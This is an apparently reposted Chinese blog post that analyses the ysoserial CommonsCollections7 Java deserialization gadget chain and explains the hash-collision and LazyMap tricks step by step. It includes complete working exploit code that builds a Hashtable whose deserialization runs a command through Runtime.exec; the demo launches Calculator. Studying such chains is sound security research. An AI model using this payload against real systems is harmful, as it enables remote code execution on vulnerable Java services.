zoukankan      html  css  js  c++  java
  • YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言

    YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下:

    1. 以InvokerTranformer为基础通过动态代理触发AnnotationInvocationHandler里面的Invoker方法调用LazyMap get方式的CC1
    2. 以TemplatesImpl为基础,通过TrAXFilter、InstantiateTransformer组合绑定LazyMap动态代理触发AnnotationInvocationHandler#Invoker方法方式的CC3
    3. 在CC1 Lazymap的基础上进一步包装成TiedMapEntry,并以BadAttributeValueExpException调用TiedMapEntry#toString方法的CC5
    4. 在CC5基础上将触发换成HashMap调用hashCode方式的CC6

    调用栈

    接下来先看下cc7的代码

    public Hashtable getObject(final String command) throws Exception {
    
            // Reusing transformer chain and LazyMap gadgets from previous payloads
            final String[] execArgs = new String[]{command};
    
            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    
            final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                    new Class[]{String.class},
                    execArgs),
                new ConstantTransformer(1)};
    
            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();
    
            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);
    
            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);
    
            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);
    
            Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    
            // Needed to ensure hash collision after previous manipulations
            lazyMap2.remove("yy");
    
            return hashtable;
        }
    
    

    抓一下调用栈,可以看到依次调用的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然后调用LazyMap的get方法。

    image-20210729181133734

    其实调用链出来后一切都索然无味了,但我们还是要分析下调用链各个环节的一些关键点,首先看下Hashtable的readObject方法源码:

    image-20210803190222317

    首先从序列化数据里面读取了elements,然后for循环便利elements次读取序列化里面的key、value值,这个elements和key、value分别是什么东西呢,找到writeObject寻找答案:

    image-20210803191156410

    写入了类变量count、然后迭代分别写入了类变量table中entry的key、value,其实就是hashtable中的key、value,只不过内部实现是通过entry链表实现,然后跟进reconstitutionPut, 这里有个key的关键方法e.key。equals,结合前文我们分析过TiedMapEntry的equals可以触发Lazymap的get进而RCE,其实直接使用TiedMapEntry#equal也是可以触发的,这里就不展开TiedMapEntry吧,没啥太大的意义,就按照Ysoserial作者思路来。

    image-20210803191518907

    挖掘利用链

    前面文章介绍了LazyMap#Get()方法触发RCE的方法,来回忆下LazyMap触发的调用链,当LazyMap调用get方法是,回去寻找绑定LazyMap中的是否存在key,不存在就通过transform方法去生成,而这个transformer是恶意的,那就触发命令执行:

    image-20210804145136068

    image-20210804145237905

    其实下一步就放在有谁能够调用lazyMap的get方法,除开之前介绍的tiedMapEntity之外,还有LazyMap本身也能调用,在LazyMap绑定的是HashMap的情况下,调用LazyMap#equals其实就是调用HashMap的接口AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到调用:

    image-20210804145916693

    那触发的方法扩展到谁调用LazyMap的equal就好了,而这就和HashTable就绑定起来了,HashTable的readObject里面就有触发,但要满足两个条件:

    image-20210804150601243

    1. table[index] 不为null。
    2. 因为&&是从左向右执行,所以要e.hash等于当前实参key的hash。

    首先分析下Hashtable#readObject 的整体逻辑,因为在Hashtable中实现逻辑的Entry对象被transient修饰,所以序列化的时候不能将table数据放到序列化数据里面,所以在writeObject时会单独写入key、value,readObject时重新put进entry当中。table的数量通过类变量count控制。

    image-20210804150927071

    在迭代第一次传入key、value时tab始终为空,所以要调用到equal至少要迭代两次,也就要求table中的元素大于等于2,且两个元素的key的hash值要一样,那在构造除开hash一样,还要求equals执行为false,不然就会用新元素的value替换旧元素,这样table总的size就只为1,无法触发反序列化RCE。

    寻找hashCode()一样,但又不相等的元素

    那真的存在这样的两个值吗?答案当然是存在,以String为例,我们看一下String的hashCode算法

    image-20210804152901920

    核心逻辑就是:

    h=31*h + val[i]
    

    h初始值为0,将字符串拆分为字符,每次对结果乘以31再累加,那可以确定相同的h值,肯定对应不同的val[i]解,比如aabB,看一下结果:

    image-20210804162125084

    那是不是我们就找到了符合作为Hashtable的key了,其实不是,我们想要执行的其实是Lazy Map的hashcode一致,内部其实是map的hashcode,找一下hashmap的实现,对key做hashcode,然后异或上value的hashcode:

    image-20210804180005690

    其实只要key的hashcode一样,然后value一样就能满足,试验下:

    image-20210804182214242

    结果:

    image-20210804185607963

    创造两个元素的HashTable

    在上面已经找到hash一样的HashMap的前提下,绑定到LazyMap上,然后分别push进HashTable,然后进行反序列化:

     //        Hashtable
            String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
    
            System.out.println(System.getProperty("java.version"));
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
            };
            Transformer[] fakeTransfomer = new Transformer[]{
                    new ConstantTransformer(1)
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
    
            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();
    
            Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map
            lazyMap1.put("aa",1);
    
    
            Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
            lazyMap2.put("bB",1);
    
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1,1);
            hashtable.put(lazyMap2,2);
            ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
            String path =  serialize(hashtable);
            unserialize(path);
    

    执行下,命令并没有执行:

    image-20210804190844080

    看样子什么地方出了问题,打印下Hashtable的size,发现size为1,说明第二次put的时候出了问题,调试下发现问题出在了,AbstractMap上,因为我们为了避免序列化时执行命令将chainedTransfomer里面的transfoemer数组用constranTransfrom(1) 替代,命名为fakeTransfomer,而这个fakeTransformer执行后的结果为1,和hashtable的value1一致,所以会返回true。

    image-20210804191547228

    hash和equl的判断都为true,就会进入if分支,完成新旧变量替换,而不会新增元素,所以size始终为1

    image-20210804191719867

    修改fakeTransfomer为一个空数组,或者将hashTable的value为其他值,为了更通用这里采用空数组的方式:

    Transformer[] fakeTransfomer = new Transformer[]{
                    
            };
    ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
    

    再次执行,代码还是没有执行,打印size也是2,是满足条件的,但为啥命令没有执行呢,再次调试,发现问题出在了equal的判断上,equal的判断要求首先要满足两个hashMap的元素数量一致才能进行下一步的判断,而在put时也会执行equal,调用到m.get()方法,而m是一个LazyMap,在LazyMap#get() 方法存在一个特性,就是在绑定到HashMap没有这个元素的时候,动态添加一个这个没有的元素,

    image-20210804192230963

    所以在LazyMap2进行put操作时,会去get(lazyMap1.key),lazyMap1的key为"aa",所以lazyMap2会多一个aa为key,aa为value的元素(transformer数组为空时的执行结果),在put后打印下lazyMap2验证下:

    image-20210804192442862

    果然,因为两个map Size的判断在前面,这样就不会执行后续进行RCE的get方法

    image-20210804193006694

    所以,需要我们在第二次put后,把第二个hashmap进行remove一个key为aa的操作,完整代码:

    //        Hashtable
            String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
    
            System.out.println(System.getProperty("java.version"));
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
            };
            Transformer[] fakeTransfomer = new Transformer[]{
    
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
    
            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();
    
            Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map
            lazyMap1.put("aa",1);
    
    
            Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
            lazyMap2.put("bB",1);
    
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1,1);
            hashtable.put(lazyMap2,2);
            lazyMap2.remove("aa");
            System.out.println(hashtable.size());
            ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
            String path =  serialize(hashtable);
            unserialize(path);
    

    执行一下,命令成功执行:

    image-20210804193319401

    YsoSerial的代码几乎一致仅就把我这里的aa和aB替换成yy和zZ。

    总结

    这篇文章分析了下CC7的原理,本来上周五应该就能发出文章的,但是却因为文中那个fakeTransfomer的原因一直被卡住,不知道问题出在哪里,找了很多朋友看也没看出问题,最终还是老老实实一步一步的调试才发现问题,以前只关注transformer的构造,没关注最终的返回,难搞~,期间也去学习了下Java的值传递类型和HashMap实现原理等,消耗了比较长的时间。

    这是Common-collections 3.2.1的最后一条利用链分析,这个也是没有版本依赖的,我用jdk1.8u261也是能够运行的,总结下代码中关键点:

    1. 要找到两个元素hashcode一样,但euqal的结果又为false的hashmap。
    2. 使用fakeTransfomer时要关注返回满足HashTable元素大雨等于2。
    3. 在第二次put过后要对第二个HashMap进行remove(remove第一个hashmap的key)。

    公众号

    欢迎关注我的公众号

  • 相关阅读:
    WCF 第八章 安全 确定替代身份(中)使用AzMan认证
    WCF 第八章 安全 总结
    WCF 第八章 安全 因特网上的安全服务(下) 其他认证模式
    WCF Membership Provider
    WCF 第八章 安全 确定替代身份(下)模仿用户
    WCF 第八章 安全 因特网上的安全服务(上)
    WCF 第九章 诊断
    HTTPS的七个误解(转载)
    WCF 第八章 安全 日志和审计
    基于比较的排序算法集
  • 原文地址:https://www.cnblogs.com/9eek/p/15100546.html
Copyright © 2011-2022 走看看